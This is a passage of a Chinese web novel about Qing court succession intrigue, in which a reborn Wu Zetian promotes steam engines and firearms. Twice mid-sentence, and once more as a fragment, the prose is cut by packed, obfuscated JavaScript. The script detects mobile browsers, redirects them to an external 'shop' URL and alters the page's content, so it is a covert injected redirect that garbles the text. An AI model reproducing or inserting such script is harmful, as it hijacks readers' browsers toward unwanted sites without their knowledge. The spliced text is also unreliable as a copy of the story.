【蒸汽机……说起来年希尧也是个厉害角色,居然短短半月就把伊格格要求的蒸汽机零件凑齐了八成,剩下的部分只等西洋人的船只到广东港口……难怪伊格格觉得年家兄妹生错了时代,应该生在鼓励科研的未来而不是打压科学的现在……】 凤龙若有所思。 武曌倒是没有多想,淡淡道:“人不能决定什么时候出生、生在什么样的家庭。” 【所以……】 凤龙噘嘴,对武曌的话不以为然。 武曌也懒得向祂强调解释——即便拟态得和人类一模一样,本质终究不是人类,无法理解人类的喜怒爱恨。 …… 天气逐渐转凉,朝臣们再次上折子请求立储。 康熙接过众位大臣联名请求立储的折子,沉吟片刻,道:“朕自知年事已高,国不可一日无君,但是……你们是朕身边的老人,朕的儿子们为了储位闹出的骨肉相残惨剧,你们都是看在眼里的!没有储君的时候,皇子们为了储君之位互相猜忌,结党营私,有了储君,皇子们又会为了各自的野心想尽办法互相陷害!最后闹得兄弟不是兄弟,父子不像父子!朕也是心碎又心疼!” “皇上——” “思来想去,朕决定——” 康熙抬头,抛出斩钉截铁的四个字:“秘密立储!” “秘密立储?” 朝臣震惊。 康熙却神色淡定:“不错,秘密立储,立储诏书一式三份,分别存放三处不同地点。直到朕驾崩以后,保管立储诏书的人才可以打开诏书核对宣读,扶新君上位!” “……” 朝臣们呆滞了。 康熙帝的这一决定完全出乎他们的预料,意味着围绕储君之位的所有密谋和算计都随时可能沦为一场空,因为秘密立储的诏书随时可能更改,只要皇帝还有一口气在! “怎么?你们不赞同朕的这个决定?” 康熙阴冷地看着朝臣们。 朝臣们顿觉后颈发凉,心不甘情不愿地齐声道:“皇上英明,秘密立储是最好的手段。” “既然你们都认为秘密立储是解决储位之争的最好手段,那就公告天下吧!” “嗻……” 朝臣们擦着冷汗,痛苦无比地点头答应。 半个时辰后—— 诸阿哥得知秘密立储,无不目瞪口呆。 “皇阿玛……这是……是……” “皇阿玛不愧是皇阿玛,不管什么时候都要把权力牢牢握在自己手中!” “我们为了储君之位四下奔走机关算尽,最终竟换得秘密立储这等可悲可笑的结局!” “也不知胤礽现在是什么想法!” “能有什么想法!他还能有什么想法!我们都是笑话啊!” …… 类似的悲戚愤怒讨论在每位有心夺储的阿哥的府邸内重复上演。 “秘密立储”,简简单单的四个字,打乱了所有人的夺嫡算计。 73.立于不败之地 皇子们乱成一团时,武曌却很轻松。 透过凤龙,她已确定康熙帝被“天命”蛊惑、写下传位胤禛的密诏,让天命之子将来顺利继承大清江山。 何况,伊格格提供图纸、年希尧负责购买、调配的大清第一台改良蒸汽机即将完工。 前路可谓一片光明。 【……科技是第一生产力,只有生产力水平出现大幅提升,原本的封建社会组织结构和意识形态才会被打破,例如存在数千年的男尊女卑问题。 通常而言,要改变由来已久的男尊女卑现象,不能只依靠统治阶级的内部改革。 偶然出现的女性皇帝、女性政治家也只能让本就身处统治阶级的贵族女性的社会地位得到一定提升,无法惠及剩下的百分之九十九的底层女性。 给女性提供普遍的广泛的文化教育虽是一剂良方,可如果社会的生产力得不到提升,受教育女性无法在教育完成后获得就业机会、没有独立的经济权,无法活下去的她们就会被残酷的现实赶回家庭,沦为男性的附属品,重复之前几千年的轮回。 由此可见,只有女性在经济上取得独立,她们的人身和精神才可能独立。而要让女性享有独立的经济权,生产力提升是关键……】 拷贝自四福晋的天幕大屏中,留着齐耳短发的女子正热情激烈地做名为《工业革命、珍妮纺织机与西方女性地位提升》的论文直播。 武曌一边看史书一边倾听,虽然不能全盘接受这个自称主播的女子的观点,却也不得不承认她的说法有一定的道理。 [生产力提升,女人拥有工作,所以女人的地位得到提升……我想起汉朝以及汉朝以前,女性成年可以和男人一样分到田地用于耕种,所以汉朝以及汉朝以前的女人普遍性情奔放大胆,也不受所谓的三从四德的束缚,男女相奔的事情时有发生……但从唐朝中后期开始,社会对女人的约束越来越多,先是禁止女人像男人一样分到田地,接着出现三从四德的规矩……二婚再嫁成为耻辱……最终甚至弄出裹小脚这种奇怪恐怖的风俗!] 【裹小脚这东西确实很恶心。】 凤龙深以为然。 【自然进化诞生的每一种生物都拥有名为生命的美,虽然ta们中的大部分不符合你们人类的审美,但是自然选择本就是最真实的美,是不自然的东西永远无法理解并拥有的真正的美。所以,不管怎么文化修饰、吹捧宣传,扭曲自然之美的裹小脚和勒细腰都是丑陋的东西,只会让我感到无比恶心。】 [……我想知道珍妮纺织机是什么?要怎么才能得到它、推广使用它?哪些地区可以推广使用?它的推广使用可以为我带来多少实际的好处?] 武曌打断凤龙的思维,专心在历史直播天幕中寻找相关内容。 名为科技的魔法已经牢牢抓住她的心。 …… …… 胤禵瘸腿回京后不久,康熙正式下旨,原四川总督年羹尧升任川陕总督,成为康熙朝最年轻的封疆大吏,执掌西北军政,一时间可谓风头无两。 只是,年羹尧风光无限,与年羹尧关系复杂的阿哥们难免头痛欲裂。 “虽然我早看出年羹尧前途不可限量,但三十几岁不到四十岁就升为从二品的川陕总督,这速度也……” 胤禩露出苦闷表情。 即便在官员多如牛毛、阿哥遍地走的京城,从二品也是排得上号的大官,何况年羹尧是掌握西北军政财务的川陕总督,手握军权的封疆大吏! “我们以后要怎么掌握他?” 胤禩径直问胤禟:“以他如今的分量,单靠恩情已经不可能笼络,偏偏皇阿玛当年……悔恨啊!悔不当初!” “八哥,事已至此,悔恨也是无用,我们要朝前看,朝对自己有利的方向看。” 胤禟眯眼,谨慎分析当前形势:“十四弟原本是最有可能夺嫡的皇子,可惜他在青海期间表现平平还因为打猎这种小事瘸了一条腿,以皇阿玛的挑剔是绝不可能把皇位传给他的。至于八哥你……” “皇阿玛恨我,从来没有考虑过我。” 胤禩发出阴沉叹息。 “……只是如此一来,我们要怎么做才能立于不败之地?” 胤禟摇晃扇子:“八哥和十四弟都失去了竞争储位的资格,我又是……难不成……四哥?” “老四?!” 胤禩倒吸一口凉气,惊呼道:“你说什么!” “四哥!胤禛!” 胤禟冷峻地看着胤禩:“四哥一向办事妥帖谨慎,在皇阿玛心中颇有分量,又和如今风头无二的年羹尧是姻亲,年氏所生的小阿哥据说也颇得皇阿玛喜欢……如果是十四弟瘸腿以前,我自然不会觉得四哥有希望,但是现在……” “你觉得四哥有可能成为皇阿玛心意的储君人选?” “相较于其他兄弟,四哥至少手中握满好牌,也几乎没有短处。” 胤禟的言语充满了算计:“至少,投资四哥对我们没有坏处。” “没有坏处……” 胤禩轻声喃语:“如今局势纷乱复杂,没有坏处就是好处……没有好处就有坏处……既然你我都没有机会成为皇太子,十四弟又功亏一篑,或许和四哥保持良好关系才是最能保证自身利益的办法……毕竟我们都不是孤家寡人,身后有妻儿老小还有各路人脉下属……” “八哥的意思是——” “和四哥维持良好关系,如果皇阿玛露出传位四哥的意思,我们就顺水推舟,不求从龙有功,至少不能在关键时刻犯下最大的错误。” 胤禩脸上满是苦涩。 他不想承认失败,但现实如此,不得不接受。 “老九,你也准备一下吧。” “明白。” 胤禟一脸无奈地点了点头。 …… …… 年羹尧得到川陕总督的职位,第一件事自然是进京谢恩,朝拜完康熙帝以后,又理所当然地来到雍亲王府,感谢主子栽培。 “我如今可不敢做你的主子。” 胤禛看着年羹尧,有些阴阳怪气:“川陕总督,从二品,不到四十岁啊!” “奴才能有今日的地位,全亏了主子的栽培,何况奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732339|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才的官位做得再高也终究是奴才,四爷可是龙子龙孙,天生的主子。” 年羹尧虚情假意地讨好着胤禛——在胞妹的孩子还没有得到皇位的当下,他不能和胤禛撕破脸。 “……亏你知道主子永远是主子,奴才终究是奴才。” 胤禛满意收下年羹尧的奉承,让苏培盛带他去后院见年氏。 “谢主子恩典。” 年羹尧弓腰退出。 胤禛眯眼品茗,感慨道:“年羹尧是个有能力的人,而且他在旁人面前桀骜不驯,在我面前倒是能始终保持着谦顺卑微。” “主子的意思是——” “他对我很重要。” “嗻……” …… 年羹尧来到年氏处,一进门立刻行礼。 “二哥为何如此大礼?” 年世华上前,扶起行礼的年羹尧,与他一并入内室:“西北那边可是一切安好?” “皇上用人自然不会有错。” 年羹尧抿嘴一笑,对自己的受宠现状非常满意。 “哥哥本就是人间难得一见的英才。” 说话间,年世华示意奴才们暂且退下。 吱嘎—— 房门缓缓合上,房间里的空气瞬间变得紧张压抑。 “十四阿哥的事情……” “只是一场巧合,不过也是必然的巧合。” 年羹尧对此直言不讳:“四爷希望他出事,而我也希望妹妹的路能够走得更顺畅些。” “更顺畅些……” 年世华莞尔一笑,反问道:“如果皇上的传位密诏上没有写四爷的名字?” “皇上不会传位给四爷以外的任何人。” 年羹尧自信满满。 “为什么?” “因为皇上……” 年羹尧抿嘴笑了笑,没有继续说下去,只是心声不断流淌。 [这次进宫谢恩,皇上主动和我托底,认为四爷是能力出众之人,可以担当江山重任。何况他还让妹妹你生下了担负天下气运的小阿哥。] [原来如此。] 武曌淡淡一笑,主动给年羹尧剥了一个橘子:“二哥这次打算在京城停留多久?” “半个月,半个月后就要回陕西。” “那陕西当下的情况——” “幼妹只管放心,一切都在哥哥的掌握之中。” 说到这里,年羹尧狡黠一笑:“幼妹上次给的那件东西,我已经让铁匠们仿造出两百多件,又在军中选了五百名精壮青年培养成亲兵。” “哦?” 武曌露出嘉奖笑容:“哥哥不愧是哥哥,办事妥帖。” “这不是为了大清江山的长治久安嘛~” 年羹尧笑得嘴巴都快咧到耳朵根了。 多年来始终军政一把抓的他比深居大院的年世华更欣赏改良火木仓的威力,以及改良火木仓投入实战后对战还停留在刀枪棍棒弓弩箭时代的敌人时的碾压优势。 大清江山即将发生剧烈变动,变动的源头却是北京城内一处再寻常不过的内院。 74.投诚 胤禩与胤禟一番商议,终于定下计谋,借着南郊祭天的间隙,主动向胤禛投诚。 “四哥——” “八弟?九弟?” 胤禛假作惶恐。 胤禩见状,叹了口气,道:“十四弟的情况——” “皇阿玛此次南郊祭天并没有带上十四弟,”胤禟补充道,“自从他在青海遭遇意外瘸了一条腿,皇阿玛对他的态度就……” “皇阿玛是疼惜十四弟,不忍心他受苦。” 胤禛假惺惺地说道。 众所周知,南郊祭天虽然流程繁琐劳累身心,却也是皇家头等大事,更是皇子在皇帝心中地位的最直观展现。 康熙帝以“疼惜”之名让身为大将军王的胤禵不必参加此次南郊祭天,分明暗示—— 想到此处,胤禩下意识地看了眼胤禟,干笑着附和道:“四哥言之有理,只是如此一来,储君的事情……” “皇阿玛早就有言,‘天下大权,当统于一人’,不可由储君‘分理’,所以设秘密立储制度,免得兄弟残杀父子无情。” 胤禛继续装模作样:“既然皇阿玛早就有所决定,我们又何必无事生非,碰他老人家的逆鳞?” “逆鳞?” 胤禟舌尖抖了一下,随即展开折扇,笑道:“四哥说得极是,天下大事俱归皇阿玛,我们这些做儿子的,只需顺从跟随。” “九弟果然有慧根。” “是四哥教得好。” 胤禟假惺惺地吹捧着胤禛,眼角余光瞄向胤禩。 胤禩会意,上前道:“皇阿玛以前训斥我,说我结党营私,狼子野心,对我多番教训,希望我早日悔改。如今时过境迁,我也终于明白往日种种不过镜花水月,唯独父子、兄弟的血脉至亲之情不容抹杀。既然如此,我也不再执迷皇位,我将从此与那些依附我的臣子们彻底划清界限,一心一意为皇阿玛和未来新君做事。” “八弟此言当真?” “千真万确。” 胤禩叹了口气,真情掺杂假意地说道:“逝者不可追,来者犹可待,既已如此,何必执迷。” “八弟,你终于悟了。” “是被现实逼着不得不悟。” 胤禩长吁一口气,走出偏殿。 胤禟忧心地看了他一眼,对胤禛道:“四哥,正如八哥所言,我们已经彻底放弃,希望你能在皇阿玛面前为我们美言几句。再多的恩怨情仇,终究是嫡亲骨肉,打碎骨头还连着筋,不是吗?” “九弟,你这——” “拜托了!” 说完,胤禟追着胤禩离开。 胤禛留在原地,反复咀嚼两人突如其来的示弱与投奔。 [是真的心灰意冷决定放弃,还是局面越来越糟糕,不得不暂时向我示好,希望我能够帮衬他们?] 不论真相如何,胤禩和胤禟正式决定放弃追逐皇位对他而言都是天大的好事,哪怕这种放弃是暂时的。 [皇位这种东西,一次放手就永远没有第二次机会……胤禩,胤禟,不管你们此次的放弃是真心还是假意,我都不会让你们再有机会碰到皇位!它是我的!它只能是我的!] …… …… 胤禩和胤禟公开表态以后不会再与胤禛为敌,隶属于八爷党的朝臣们也很快收到消息,开始明里暗里地吹捧雍亲王,尽可能地配合雍亲王的各项工作行动。 朝野内外一时间无比和睦,反倒让康熙帝有些看不懂了。 “怎么回事?怎么突然间所有人都——” 【因为秘密立储制度。】 凤龙出现,大喇喇坐在御案上。 【秘密立储制度以及发生在老八身上的种种厄运让剩下的皇子们不敢把争权夺势摆在明面,生怕不小心触怒你,失去继承大统的资格。】 [由此可见,朕确实是天子。] 【天子吗?】 凤龙轻蔑一笑。 【你自称天子可知道天有多高,子有多少?】 [……祥瑞,你太爱计较了。] 【我不是计较,我是觉得你的言行很幼稚很傲慢很可笑。在我看来,你不过是一只活在井底的骄傲自大的青蛙,坚信井口那片天是世界的全部……当然,如果你是一只身有残疾无法跳出井口的青蛙,会产生这样的想法并不奇怪,但你明明有能力跳出井口,也知道井口外存在广阔的世界,却依然守着狭窄的井口自欺欺人地宣布井口的天空是世界的全部……】 [你到底想说什么!] 康熙心头掠过莫名的慌张,眼前的凤龙是那么美丽又那么恐怖,绝美的容颜折射出令人不寒而栗的妖邪和深邃。 【——你知道我想说什么。】 凤龙俯身,白皙如玉石、光滑中隐约散发淡青光芒的修长手指划过玉石镇纸和压在玉石镇纸下的厚厚一叠写满几何算术演算过程的纸张。 【西方正在发生巨变,东方如果继续装睡,未来会发生非常可怕的事情。】 [可怕的事情?有多可怕?] 康熙装傻。 【神州陆沉,生灵涂炭,遍地狼烟,满目疮痍。】 [这……这……] 康熙眼中闪过惶恐。 [大清江山会受到波及吗?我们爱新觉罗家的皇位——] 【百姓大批大批地活不下去,接下来会发生什么,你比我更清楚。常言说得好,酷刑只能威胁怕死的人,人一旦不怕死或是有了比苟活更重要的东西,必将无坚不摧。】 [你的意思是……] 【我什么都没有说。】 话音落,凤龙从御案上跳下来,兴致盎然地捻起一支插在足有三尺高的大花瓶的金丝串珍珠、五彩宝石做成的孔雀羽毛,反复摩挲脸庞。 【世界正在发生激烈的变化,与其捂着耳朵、闭上眼睛,躲在紫禁城内自欺欺人,不如现在就睁开眼睛看世界,接受改变,拥抱改变。】 [你……你……] 【对于我的话,你可以接受也可以当做没听见。毕竟,渴望大清江山千秋万代的是你不是我。至于我——不论是国祚不足百年的短命王朝还是传承千年不断的悠久家族,都只是我漫长无尽的生命中偶尔闪现的一朵小小浪花。】 说完,凤龙飘然离去。 康熙帝闭上眼,反复咀嚼凤龙的话语。 世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736794|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界正在发生激烈的变化…… 渴望大清江山千秋万代的是你不是我…… 人一旦有了比苟活更重要的东西……酷刑只能威胁怕死的人…… 接下来会发生什么……接下来会发生什么…… 爱新觉罗家的皇位…… 江山…… 江山!! 康熙的手顿时紧握。 …… …… “哥哥今日怎么有空来妹妹这边?” 年希尧“突然”来访,武曌笑容可掬,还主动给年希尧倒了一杯茶:“今年的新茶——” “幼妹客气,愚兄受宠若惊。” 年希尧双手接过茶水,喝了一口,眉飞色舞地表示:“幼妹让我做的东西已经完工。” “哦?” 武曌挑眉:“试用过没有?” “试过。” “效果如何?” “愚兄尝试以此物焊连铁链拉车,效果确实非马匹可及,此外用此物提拉深井重物,效率也远胜劳工……” 年希尧此人热心科研,按伊格格的改良图纸制作蒸汽机的同时不忘向旅居京城的西洋传教士求教,从他们口中获得了西洋人使用蒸汽机的大量实例。 等到改良蒸汽机正式完成,他已收集到不下十种的蒸汽机的使用手法,于是挨个测试,记录完整数据,交给年世华。 “……比起牛马,蒸汽机确实即蠢笨又呆板,但它力大无穷又不知疲倦、不会害怕,加上是铁皮制作,几乎无坚不摧,放在矿场挖煤可以大幅提高工作效率,用来拉车也会比牛马更加快速,甚至……有朝一日可以投入战场冲锋……” 武曌冷峻地分析着。 虽然无法完全理解,但她确实从伊格格脑海中断断续续获得了关于未来的支离破碎的信息,结合天幕直播系统谈工业革命时反复提到的“蒸汽机”、“珍妮纺织机”以及年希尧对蒸汽机的热情洋溢的描述可知,蒸汽机将和火木仓一起给世界带来天翻地覆的改变。 她要抓住这份变化,在其他人发现以前。 “幼妹所言极是,但蒸汽机这类东西眼下造价不菲,何况……大清祖训,女子不能干政……” 年希尧担忧地看着年世华,担心幼妹触及逆鳞,惹下弥天大祸。 “哥哥说得很有道理。” 武曌莞尔一笑,道:“你听谁说我要用这东西干政?” “额……” 年希尧胆怯地低下头。 武曌道:“我眼下只想着多造几台蒸汽机,投入矿厂里加快挖煤、打盐井、炼铜、炼铁等等速度,另外,蒸汽机拉车效率呆板这个大问题,大哥你想办法解决一下。四爷近来一直为黄河泛滥以及地方官员贪腐成风等事烦心,我们得想办法让他开心。” “幼妹认为蒸汽机可以让四爷开心?” “至少不会让他更加不开心。” 武曌似笑非笑。 她其实完全不在乎胤禛此刻开心还是不开心——在视权力为性命的男人眼中,只有权力是他永远的宝贝,其他任何东西,包括手足包括骨肉,都只是过眼云烟。 我刚好也是这样的人。 75.祖孙见面3.0 蒸汽机的制造以及实用性测试稳步进行的同时,大名宝珠小名妞妞的爱新觉罗弘历再次被传召入宫,生母钮祜禄氏有幸同行。 “真的吗?奴才也可以陪着小格格一起进宫?” 收到消息的钮祜禄氏喜不自胜。 胤禛嫌弃地看了她一眼,道:“皇阿玛喜欢妞妞,可能爱屋及乌地封赏你。” “奴才……奴才……感激涕零……” “见皇阿玛的时候,不该说的不要说,不会说的也不要说,哪怕因为木讷被皇阿玛责备也好过说错话做错事惹出麻烦。” “奴才……奴才明白……” 钮祜禄氏低眉顺眼地答应着。 胤禛又看了眼弘昼和他的生母耿佳氏:“下个月是皇阿玛寿诞,届时你们将随我一起进宫见皇阿玛,可有准备好贺礼?” “奴才……” 耿佳氏低下头,不知如何应答。 一旁年氏柔声道:“奴才斗胆已经提前为姐妹们都备了礼物。” “你做事果然妥帖,滴水不漏。” 胤禛满意地点了点头,没有询问具体准备了什么礼物——秘密立储制度的出现打乱了夺嫡的节奏,让所有追逐皇位的阿哥们都不得不把欲望深埋心底,在康熙面前做出风轻云淡的姿态,背地里加倍使劲。 “还有十四弟那边——” 胤禛看向四福晋乌拉那拉氏:“日常要送的东西可一件都不能少。” “奴才明白。” 乌拉那拉氏低头禀告道:“不管朝中发生什么变故,十四爷都是四爷的嫡亲兄弟,嫡亲兄弟的感情永远都不会发生改变。” “是啊,手足亲情……永远都不会变……” 胤禛撇撇嘴,语气充满嘲讽。 [十四弟,哪怕你没有瘸腿也几乎没可能与我争夺皇位,何况如今……不得不说,年氏是我的幸运解语花……自从有她在身边,我的夺嫡之路竟处处顺心……] [你以后会更加顺风顺水,因为扶你上位是我上位前必须做的铺垫……] 武曌笑容可掬地想着。 另一边,妞妞也在打着自己的算盘。 [要做皇太女,先得让阿玛成为皇阿玛……虽然这么说显得我很不孝,不过安乐公主的想法和做法确实很有点道理……可惜母后不是韦后,她既没有韦后的得宠也没有韦后的爱女情深和手段,我不可能指望她太多……倒是年氏……年氏如今最得宠,又有年羹尧这个靠山,如果年羹尧将来能稳住不倒,或许可以……唉!做女人真是麻烦!做了女人还想做皇帝就更麻烦了!] …… …… 钮祜禄氏为人沉稳憨厚,带小格格入宫见康熙全程都低眉顺眼不敢有丝毫出格。 康熙偏爱小格格,难免因此对钮祜禄氏有几分爱屋及乌,即便她全程表现唯唯诺诺,依然能摸着胡子赞道:“钮祜禄氏是个有福之人!” “奴才谢皇上夸赞。” 钮祜禄氏连忙谢恩。 “生下小格格是你平生最大的福气。” 康熙毫不掩饰对小格格的偏爱,将她抱在怀中,爱不释手。 爱新觉罗·妞妞·弘历享受地靠在康熙怀中,心中泛起浓浓得意。 [倘若朕这辈子是个阿哥该多好!单凭这份宠爱就能保送皇太孙!偏偏是个格格!就算再得宠也只能破例封为公主后和额驸一起住在京城而不是去蒙古吃沙子!想更进一步就必须自己挖空心思钻研!可恶!太可恶了!] 想到命运对自己如此不公,妞妞的大眼睛顿时水汽弥漫。 “怎么啦?谁让朕的小格格不开心啦?” 康熙宠溺地抱起妞妞,让奴才端来各式点心:“来,吃一点奶茶喝沙琪玛,还有马奶饽饽~” “皇法玛~呜呜~皇法玛对妞妞真好~可是妞妞~妞妞将来~” “将来怎么?” “将来会不会被嫁去蒙古吃沙子?” 妞妞委屈巴巴地看着康熙:“妞妞听说大清的格格大多会被送去蒙古吃沙子……只有极少数能留在京城……” “妞妞这么可爱,皇法玛怎么舍得让你去蒙古吃苦?” 康熙半真半假地哄骗着泪眼婆娑的妞妞,心中所想却是——才多大点的小孩,居然已经开始担心将来送去蒙古和亲,定是身边有人恶意教唆! 想到此处,康熙看钮祜禄氏的眼神顿时多了几分犀利与刻薄。 钮祜禄氏不知自己已在不经意间得罪皇帝,突如其来的头皮发紧吓得她赶紧把脑袋压得更低一些。 [嗯?这女人如此胆怯,莫非是做贼心虚!可怜的妞妞,竟有这等不成体统的额涅!] 康熙越想越气,一边亲自给妞妞喂拇指大小的饽饽,一边思考如何处置钮祜禄氏,不许她再毒害“弱小可怜”的妞妞。 …… 忙碌一圈没能弄到合心意的赏赐,妞妞的心情顿时糟糕透顶,一路耷拉着小脸,直到返回雍亲王府才再次露出甜甜笑容,跳下马车,扑进前来迎接的侧福晋年氏怀中:“妞妞想你~” “怎么回事?” 武曌笑容温婉地看向紧随其后下车的钮祜禄氏:“妞妞在宫里遇上了不开心的事情?” “姐姐……我……我……” 钮祜禄氏本能地低下头,素来单纯直爽的她此次进宫面圣全程低着头,不敢接受康熙帝的注视,康熙帝给妞妞喂奶饽饽的时候,她也始终半跪着候在一边,大气都不敢喘。 “看你这样子,多半是不知道发生了什么。” 武曌示意钮祜禄氏暂且退下,弯腰轻抚妞妞圆滚滚的脸颊:“在宫里遇上了什么?” “没什么,皇法玛很喜欢妞妞,把妞妞抱在怀里亲自喂饽饽~” “可是妞妞的脸上写满了不开心,嘴巴也耷拉着。” 说话间,手指打趣地划过妞妞嘴角,轻轻戳了下小酒窝:“看,酒窝都不肯露出来。” “那也是……也是……” 妞妞撇嘴,抱怨道:“皇法玛这次没有赏赐妞妞!” “啊?” “妞妞看中皇法玛的一枚田黄石镇纸,想要,皇法玛不肯给!” 妞妞理所当然地冲着年氏抱怨:“如果妞妞是阿哥 () { $(''.inform'').remove(); $(''#content'').append('' ,向皇法玛讨要镇纸,他肯定会给!” “可是妞妞你已经比大部分的阿哥更加得宠了。” 武曌不动声色地说道,暗示爱新觉罗·弘历·妞妞要“知足”。 然而,如果妞妞这么容易就知足,ta就不是弘历的重生。 “好吧~是妞妞要求太高了~妞妞早该知道格格终究只是格格,再金贵的格格也比不上阿哥的万分之一!” [等着吧!上一世你们全都成了朕的手下败将,对朕俯首称臣,这一世……这一世虽然有点波折,但是朕终究要君临天下,你们依然要一个不拉地跪在朕脚下山呼万岁!至于年氏……朕早看出来你是个有野心的女人,不过朕暂时不考虑拆穿你,因为不幸生为女子的朕这一世要借你和你儿子还有你兄长的力量登位!] [你要借我的力量,我又何尝不在借你的力量?] 武曌微笑着,继续和妞妞演母慈女孝的戏。 …… 晚些时候,胤禛得知妞妞竟然仗着得宠向皇帝索要田黄石镇纸,不由惊出一声冷汗:“妞妞这孩子果真是被宠坏了,简直无法无天!” “可皇上他老人家似乎并不讨厌妞妞的得寸进尺,虽然没有如妞妞的愿把田黄石镇纸赏下来,却给了一颗纯金色的琥珀珠子。” “哦?” 胤禛眯眼,专注地看着女人在灯火下分外明媚娇艳的脸庞:“妞妞如此得宠,皇阿玛多半会因此对我爱屋及乌……可惜妞妞不是阿哥……不对,正因为妞妞不是阿哥,她才能得到皇阿玛如此不吝啬的宠爱……倘若她是个小阿哥,未必能得到这么多……” “爷的意思是——” “皇阿玛的心思始终飘忽不定啊。” 胤禛叹了口气,目光落在年氏平坦的小腹处:“再给爷生一个,如何?” “爷,这件事情……” “我知道,生孩子是天意,人力不能强求。但看皇阿玛抱弘宜时的表情……你生的孩子显然会比其他女人生的孩子更讨皇阿玛的喜欢……” “妞妞也很得皇上欢心——” “妞妞受宠是妞妞的事情,和钮祜禄氏没有任何关系!” 胤禛不耐烦地打断道:“那女人生得寻常,性情又呆板无趣,爷提不起兴致。” “奴才明白了,是奴才僭越了。” 武曌低头,仿佛道歉,露出白皙的后颈。 胤禛不由会心一笑。 同一时间—— 与雍亲王府只有一墙之隔的八贝勒府中,八贝勒正与八福晋促膝长谈。 “事已至此,我们也只能尽可能靠着老四,以他在皇阿玛跟前的身份地位,即便最终不能继位也必定是新君的左膀右臂,能够庇护我们一二。” “那万一新君担心他功高震主,对他反复提防算计,我们如今依附老四,将来岂不要当心被一并清算?” 八福晋忧心忡忡。 八贝勒笑道:“真到那一步,也是他先被清算,毕竟,老九和我都已经主动依附他,他是我们的首领。” “八爷,你和九爷真是……高!太高了!” 76.教子有方 虽与姐姐爱新觉罗宝珠同年出生,今日却是弘昼第一次入宫见他的皇法玛,他因此格外激动不安,天还没亮已经瞪大眼睛催促梳洗。 耿佳氏见儿子如此期待,久病虚弱的脸颊也难得地沁出了红晕。 “弘昼,等会进宫见到皇法玛,你一定要好好表现,不求有功但求无过。” “儿子明白啦~” 弘昼满不在乎地说道。 他此时还年幼,不知道进宫见皇法玛对身为皇孙的自己而言意味着什么,只觉得既然妞妞和弘宜都曾不止一次进宫见过皇法玛、得到皇法玛的赏赐,他此次进宫必定也会得到皇法玛的赞赏与喜欢。 母亲耿佳氏的叮嘱—— 天真无知的他是一个字都没听进耳朵。 …… …… “儿子给皇阿玛请安!” “弘时、弘昼、弘宜拜见皇法玛!愿皇法玛万寿无疆!” 在胤禛的带领下,雍亲王府的三个小阿哥齐刷刷跪拜,以孩子母亲身份陪同前来的三位女眷站在小阿哥们身后,欠身行抚鬓礼。 “奴才们给皇上请安。” “都起来吧。” 康熙眯眼,示意平身。 “谢皇法玛!” “谢皇上。” “谢皇阿玛。” 各人依次起身,呼吸急促地站在康熙面前。 康熙见状,笑道:“朕又不是洪水猛兽,不会吃掉你们。” “皇法玛是天上的真龙~” 事前得母亲教导的弘宜随口接话,童言无忌的恭维惹得康熙嘴角微微扬起,温情的目光落在年世华身上:“年氏不错,教子有方。” “谢皇阿玛夸赞,年氏不过是做了些分内的事情。” 胤禛代为回答。 “分内的事情……份内能生下这么聪慧的孩子……” 康熙想到弘宜出生那日天降异象,眼中再次溢出笑意:“合该是年氏的福气。” “谢皇阿玛夸奖。” 胤禛再次代为回答。 康熙笑了笑,招手让三个孩子上前:“都读过哪些书?” “回皇法玛的话,弘时已经读完四书五经,现在跟着西洋传教士学习几何算数。” “你会做几何算术题?” 康熙顿时来了兴趣,拿出一张纸,传给弘时:“这道题目会做吗?” “弘时……” 弘时求助地看向胤禛。 胤禛不理睬。 弘时于是又怯生生看向站在弘宜身旁的年氏,后者给予肯定的目光。 得了年氏的鼓励,弘时装着胆子接过太监送到面前的题目,小心翼翼道:“弘时愿意一试,只是……” “只是需要些时间?” “弘时斗胆……” “无妨。” 康熙对弘时本也不抱期待,大手一挥就让太监带弘时去一旁偏殿做题目。 “谢皇法玛!” 弘时大喜,赶紧拿着题目纸退出大殿。 弘时离开后,康熙看向弘昼与弘宜:“你们两个呢?《三字经》和《千字文》都背熟了吗?” “都已经背熟了。” 弘昼生怕输给弘宜和妞妞,急切地表现着自己。 “弘宜呢?” 康熙问。 弘宜眨了眨眼睛:“弘宜跟着先生学会了背《三字经》,能写一点满文,做简单的珠算题目。” “小小年纪居然已经学成真多,未来可期。” 康熙满意地点了点头,当场出了几道题考察弘昼与弘宜。 弘昼希望得到康熙的嘉奖,每次都抢先回答。 康熙老谋深算,对弘昼的行为不予置评,嘴角甚至始终带着笑意,胤禛看在眼里,急得冷汗直冒—— [以皇阿玛的挑剔,若非弘宜表现大方得体,等他们退下后,他必定斥责我教子无方,竟然……竟然……] 然而,即便心急如焚,胤禛还要做出潇洒淡然的姿态,全程微笑着站在一旁,偶尔符合几句。 …… 半个时辰后—— 考问结束,康熙笑嘻嘻地看着两个孩子:“都是好孩子,都是朕的好皇孙。” “谢皇阿玛夸赞。” “皇法玛太夸奖我们了。” 弘昼与弘宜齐声道。 康熙眯眼,看向偏殿归来的弘时:“如何?” “皇法玛出的题目很有难度,弘时幸不辱命!” 弘时无比骄傲地双手呈上写满答案的纸张。 “拿过来给朕瞧瞧。” “嗻。” 太监上前,将弘时手中答卷送到康熙面前。 康熙带上西洋眼镜仔细看了一遍,道:“答题步骤清晰明白,可圈可点,老四,你教子有方啊!” 